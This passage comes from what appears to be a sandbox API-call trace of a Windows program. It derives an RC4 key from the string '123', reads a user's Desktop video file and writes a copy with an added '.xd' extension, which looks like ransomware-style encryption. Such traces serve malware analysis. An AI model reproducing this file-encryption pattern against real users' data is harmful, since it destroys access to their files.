wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.320] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.320] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.321] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.321] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0075.321] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0075.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0075.322] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0075.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0075.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164dfb0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0075.322] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0075.322] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631dd0) returned 1 [0075.334] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.334] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.334] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0075.335] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.335] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.335] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.335] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.335] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.335] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.335] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.335] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.335] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.336] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.336] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.336] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.336] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0075.336] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.336] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.336] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.336] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.336] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.337] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.337] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.337] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.337] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.337] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.337] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.337] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.337] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.337] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.338] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.397] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.398] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.398] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.398] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0075.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214c8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0075.398] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0075.398] CryptCreateHash (in: hProv=0x1631dd0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0075.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0075.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0075.399] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0075.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0075.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629440, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0075.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.399] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.399] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.399] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0075.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217c8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0075.400] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0075.400] CryptHashData (hHash=0x164c970, pbData=0x16293e0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0075.400] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.400] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.400] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.400] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.401] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.401] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.401] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.401] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0075.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621750, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0075.401] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0075.401] CryptDeriveKey (in: hProv=0x1631dd0, Algid=0x6610, hBaseData=0x164c970, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c9f0) returned 1 [0075.401] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.401] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.401] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.401] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.401] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.401] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.402] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0075.402] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0075.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0075.402] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0075.404] CryptDestroyHash (hHash=0x164c970) returned 1 [0075.404] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.404] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.404] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.404] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.404] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.404] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i4epivxt8mfsz5.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0075.404] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.404] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0075.405] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.405] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.405] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.405] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0075.406] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i4epivxt8mfsz5.mp4.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0075.525] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.525] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.525] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.525] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.528] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0075.528] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0075.530] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xc9, lpOverlapped=0x0) returned 1 [0075.531] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0075.543] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0075.544] TranslateMessage (lpMsg=0x130f164) returned 0 [0075.544] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0075.544] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0075.548] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0075.548] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0075.549] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.549] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.549] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.549] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0075.549] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.550] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.550] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0075.550] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.550] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0075.550] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.550] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.550] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.550] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0075.550] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0075.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0075.551] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0075.551] CryptGetKeyParam (in: hKey=0x164c9f0, dwParam=0x7, pbData=0x1629350, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629350*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0075.551] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.551] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.551] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.551] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.551] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.551] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.551] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.551] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.551] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.552] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.552] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.552] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.552] PeekMessageW (in: lpMsg=0x130e9dc, 